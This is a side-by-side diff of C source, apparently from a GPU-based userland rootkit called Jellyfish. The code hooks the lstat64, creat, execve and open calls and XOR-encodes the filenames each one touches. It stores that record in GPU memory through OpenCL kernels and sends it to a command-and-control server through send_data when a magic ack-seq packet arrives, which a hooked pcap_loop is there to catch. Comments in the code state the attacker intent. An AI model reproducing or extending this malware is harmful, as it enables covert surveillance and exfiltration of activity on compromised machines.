520 | | - | |
521 | | - | // gpu kernel thread |
522 | | - | jelly->kernels[3] = clCreateKernel(jelly->program, log_lstat64, &err); |
523 | | - | if(err < 0){ |
524 | | - | // gpu kernel failed |
525 | | - | } |
526 | | - | |
527 | | - | // gpu kernel args |
528 | | - | err = clSetKernelArg(jelly->kernels[3], 0, sizeof(cl_mem), &log); |
529 | | - | err |= clSetKernelArg(jelly->kernels[3], 1, sizeof(cl_mem), &output); |
530 | | - | err |= clSetKernelArg(jelly->kernels[3], 2, sizeof(cl_mem), &storage); |
531 | | - | if(err < 0){ |
532 | | - | // args failed |
533 | | - | } |
534 | | - | |
535 | | - | // host-device comm |
536 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[3], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
537 | | - | if(err < 0){ |
538 | | - | // enqueue failed |
539 | | - | } |
540 | | - | |
541 | | - | // buffer is now inside gpu |
542 | | - | |
543 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
544 | | - | if(correct_packet){ |
545 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
546 | | - | if(err < 0){ |
547 | | - | // gpu buffer read failed |
548 | | - | } |
549 | | - | send_data(buffer); // send dumped data via socket to c&c |
550 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
551 | | - | } |
552 | | - | |
553 | | - | // reset |
554 | | - | buffer3 = ""; |
555 | | - | buffer2 = ""; |
556 | | - | buffer = ""; |
557 | | - | |
558 | | - | // release gpu memory then start over when syscall is called again |
559 | 308 | | clReleaseContext(jelly->ctx); |
560 | | - | clReleaseProgram(jelly->program); |
561 | | - | clReleaseMemObject(log); |
| 309 | + | clReleaseKernel(jelly->kernels[1]); |
| 310 | + | clReleaseMemObject(logger); |
562 | 311 | | clReleaseMemObject(output); |
563 | 312 | | clReleaseCommandQueue(jelly->cq); |
564 | | - | clReleaseKernel(jelly->kernels[3]); |
| 313 | + | clReleaseMemObject(storage); |
565 | 314 | | |
566 | | - | return syscall[SYS_LSTAT64].syscall_func(filename, buf); |
| 315 | + | return (long)syscalls[SYS_MKDIR].syscall_func(dfd, pathname, mode); |
567 | 316 | | } |
568 | 317 | | |
569 | 318 | | int creat(const char *pathname, int mode){ |
570 | | - | jelly_init(); |
571 | | - | |
572 | | - | jelly->dev = create_device(); |
573 | | - | jelly->ctx = create_ctx(&jelly->dev); |
574 | | - | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
575 | | - | |
576 | | - | strcpy(buffer, "creat() pathname: "); |
577 | | - | strcat(buffer, pathname); |
578 | | - | limit_buf(buffer); |
579 | | - | |
580 | | - | char *xor_buffer = xor_data(buffer); |
581 | | - | |
582 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
583 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
584 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
585 | | - | if(err < 0){ |
586 | | - | // buffer failed |
587 | | - | } |
588 | | - | |
589 | | - | // device command queue |
590 | | - | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
591 | | - | if(err < 0){ |
592 | | - | // queue failed |
593 | | - | } |
594 | | - | |
595 | | - | // gpu kernel thread |
596 | | - | jelly->kernels[4] = clCreateKernel(jelly->program, log_creat, &err); |
597 | | - | if(err < 0){ |
598 | | - | // gpu kernel failed |
599 | | - | } |
600 | | - | |
601 | | - | // gpu kernel args |
602 | | - | err = clSetKernelArg(jelly->kernels[4], 0, sizeof(cl_mem), &log); |
603 | | - | err |= clSetKernelArg(jelly->kernels[4], 1, sizeof(cl_mem), &output); |
604 | | - | err |= clSetKernelArg(jelly->kernels[4], 2, sizeof(cl_mem), &storage); |
605 | | - | if(err < 0){ |
606 | | - | // args failed |
607 | | - | } |
608 | | - | |
609 | | - | // host-device comm |
610 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[4], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
611 | | - | if(err < 0){ |
612 | | - | // enqueue failed |
613 | | - | } |
614 | | - | |
615 | | - | // buffer is now inside gpu |
| 319 | + | struct jellyfish *jelly = NULL; |
| 320 | + | char *buf, *buf2, *buf3; |
616 | 321 | | |
617 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
618 | | - | if(correct_packet){ |
619 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
620 | | - | if(err < 0){ |
621 | | - | // gpu buffer read failed |
622 | | - | } |
623 | | - | send_data(buffer); // send dumped data via socket to c&c |
624 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
625 | | - | } |
626 | | - | |
627 | | - | // reset |
628 | | - | buffer3 = ""; |
629 | | - | buffer2 = ""; |
630 | | - | buffer = ""; |
631 | | - | |
632 | | - | // release gpu memory then start over when syscall is called again |
633 | | - | clReleaseContext(jelly->ctx); |
634 | | - | clReleaseProgram(jelly->program); |
635 | | - | clReleaseMemObject(log); |
636 | | - | clReleaseMemObject(output); |
637 | | - | clReleaseCommandQueue(jelly->cq); |
638 | | - | clReleaseKernel(jelly->kernels[4]); |
639 | | - | |
640 | | - | return syscall[SYS_CREAT].syscall_func(pathname, mode); |
641 | | - | } |
642 | | - | |
643 | | - | int execve(const char *filename, const char **argv, const char **envp){ |
644 | 322 | | jelly_init(); |
645 | | - | |
646 | 323 | | jelly->dev = create_device(); |
647 | | - | jelly->ctx = create_ctx(&jelly->dev); |
| 324 | + | jelly->ctx = clCreateContext(NULL, 1, &jelly->dev, NULL, NULL, &err); |
648 | 325 | | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
649 | 326 | | |
650 | | - | strcpy(buffer, "executed filename: "); |
651 | | - | strcat(buffer, filename); |
652 | | - | limit_buf(buffer); |
| 327 | + | buf = (char *)malloc(strlen(pathname) + 20); |
| 328 | + | buf2 = (char *)malloc(sizeof(buf) + 1); |
| 329 | + | buf3 = (char *)malloc(256); |
653 | 330 | | |
654 | | - | char *xor_buffer = xor_data(buffer); |
| 331 | + | // what we will store in gpu |
| 332 | + | strcpy(buf, "creat() pathname: "); |
| 333 | + | strcat(buf, pathname); |
| 334 | + | limit_buf(buf); |
655 | 335 | | |
656 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
657 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
658 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
659 | | - | if(err < 0){ |
660 | | - | // buffer failed |
661 | | - | } |
| 336 | + | // gpu storage |
| 337 | + | logger = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf, &err); |
| 338 | + | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf2, &err); |
| 339 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf3, &err); |
662 | 340 | | |
663 | | - | // device command queue |
| 341 | + | // host-device command queue |
664 | 342 | | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
665 | | - | if(err < 0){ |
666 | | - | // queue failed |
667 | | - | } |
668 | 343 | | |
669 | 344 | | // gpu kernel thread |
670 | | - | jelly->kernels[5] = clCreateKernel(jelly->program, log_execve, &err); |
671 | | - | if(err < 0){ |
672 | | - | // gpu kernel failed |
673 | | - | } |
| 345 | + | jelly->kernels[2] = clCreateKernel(jelly->program, log_creat, &err); |
674 | 346 | | |
675 | 347 | | // gpu kernel args |
676 | | - | err = clSetKernelArg(jelly->kernels[5], 0, sizeof(cl_mem), &log); |
677 | | - | err |= clSetKernelArg(jelly->kernels[5], 1, sizeof(cl_mem), &output); |
678 | | - | err |= clSetKernelArg(jelly->kernels[5], 2, sizeof(cl_mem), &storage); |
679 | | - | if(err < 0){ |
680 | | - | // args failed |
681 | | - | } |
| 348 | + | clSetKernelArg(jelly->kernels[2], 0, sizeof(cl_mem), &logger); |
| 349 | + | clSetKernelArg(jelly->kernels[2], 1, sizeof(cl_mem), &output); |
| 350 | + | clSetKernelArg(jelly->kernels[2], 2, sizeof(cl_mem), &storage); |
682 | 351 | | |
683 | 352 | | // host-device comm |
684 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[5], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
685 | | - | if(err < 0){ |
686 | | - | // enqueue failed |
687 | | - | } |
| 353 | + | clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[2], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
688 | 354 | | |
689 | | - | // buffer is now inside gpu |
| 355 | + | // buffer now inside gpu |
690 | 356 | | |
691 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 357 | + | // if ack-seq match, dump gpu |
692 | 358 | | if(correct_packet){ |
693 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
694 | | - | if(err < 0){ |
695 | | - | // gpu buffer read failed |
696 | | - | } |
697 | | - | send_data(buffer); // send dumped data via socket to c&c |
698 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 359 | + | clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buf3), buf3, 0, NULL, NULL); |
| 360 | + | send_data(buf3); |
699 | 361 | | } |
700 | 362 | | |
701 | | - | // reset |
702 | | - | buffer3 = ""; |
703 | | - | buffer2 = ""; |
704 | | - | buffer = ""; |
| 363 | + | free(buf); |
| 364 | + | free(buf2); |
| 365 | + | free(buf3); |
705 | 366 | | |
706 | | - | // release gpu memory then start over when syscall is called again |
707 | | - | // we dont release storage object as it will continue to record data to gpu if attacker has not sent magic packet yet |
708 | | - | clReleaseMemObject(log); |
709 | | - | clReleaseMemObject(output); |
710 | | - | clReleaseCommandQueue(jelly->cq); |
711 | | - | clReleaseKernel(jelly->kernels[5]); |
712 | | - | clReleaseContext(jelly->ctx); |
713 | 367 | | clReleaseProgram(jelly->program); |
714 | | - | |
715 | | - | return syscall[SYS_EXECVE].syscall_func(filename, argv, envp); |
716 | | - | } |
717 | | - | |
718 | | - | int open(const char *pathname, int flags, mode_t mode){ |
719 | | - | jelly_init(); |
720 | | - | |
721 | | - | jelly->dev = create_device(); |
722 | | - | jelly->ctx = create_ctx(&jelly->dev); |
723 | | - | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
724 | | - | |
725 | | - | strcpy(buffer, "opened: "); |
726 | | - | strcat(buffer, pathname); |
727 | | - | limit_buf(buffer); |
728 | | - | |
729 | | - | char *xor_buffer = xor_data(buffer); |
730 | | - | |
731 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
732 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
733 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
734 | | - | if(err < 0){ |
735 | | - | // buffer failed |
736 | | - | } |
737 | | - | |
738 | | - | // device command queue |
739 | | - | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
740 | | - | if(err < 0){ |
741 | | - | // queue failed |
742 | | - | } |
743 | | - | |
744 | | - | // gpu kernel thread |
745 | | - | jelly->kernels[6] = clCreateKernel(jelly->program, log_open, &err); |
746 | | - | if(err < 0){ |
747 | | - | // gpu kernel failed |
748 | | - | } |
749 | | - | |
750 | | - | // gpu kernel args |
751 | | - | err = clSetKernelArg(jelly->kernels[6], 0, sizeof(cl_mem), &log); |
752 | | - | err |= clSetKernelArg(jelly->kernels[6], 1, sizeof(cl_mem), &output); |
753 | | - | err |= clSetKernelArg(jelly->kernels[6], 2, sizeof(cl_mem), &storage); |
754 | | - | if(err < 0){ |
755 | | - | // args failed |
756 | | - | } |
757 | | - | |
758 | | - | // host-device comm |
759 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[6], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
760 | | - | if(err < 0){ |
761 | | - | // enqueue failed |
762 | | - | } |
763 | | - | |
764 | | - | // buffer is now inside gpu |
765 | | - | |
766 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
767 | | - | if(correct_packet){ |
768 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
769 | | - | if(err < 0){ |
770 | | - | // gpu buffer read failed |
771 | | - | } |
772 | | - | send_data(buffer); // send dumped data via socket to c&c |
773 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
774 | | - | } |
775 | | - | |
776 | | - | // reset |
777 | | - | buffer3 = ""; |
778 | | - | buffer2 = ""; |
779 | | - | buffer = ""; |
780 | | - | |
781 | | - | // release gpu memory then start over when syscall is called again |
782 | 368 | | clReleaseContext(jelly->ctx); |
783 | | - | clReleaseProgram(jelly->program); |
784 | | - | clReleaseMemObject(log); |
| 369 | + | clReleaseKernel(jelly->kernels[2]); |
| 370 | + | clReleaseMemObject(logger); |
785 | 371 | | clReleaseMemObject(output); |
786 | 372 | | clReleaseCommandQueue(jelly->cq); |
787 | | - | clReleaseKernel(jelly->kernels[6]); |
| 373 | + | clReleaseMemObject(storage); |
788 | 374 | | |
789 | | - | return syscall[SYS_OPEN].syscall_func(pathname, flags, mode); |
| 375 | + | return (long)syscalls[SYS_CREAT].syscall_func(pathname, mode); |
790 | 376 | | } |
791 | 377 | | |
792 | | - | // purely experimental, we want to catch ack-seq packet and tell other syscalls "hey, its time to dump what gpu has recorded" |
793 | | - | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, unsigned char *user){ |
794 | | - | jelly_init(); |
795 | | - | |
796 | | - | return (long)syscall[SYS_PCAP_LOOP].syscall_func(p, cnt, got_packet, user); |
797 | | - | } |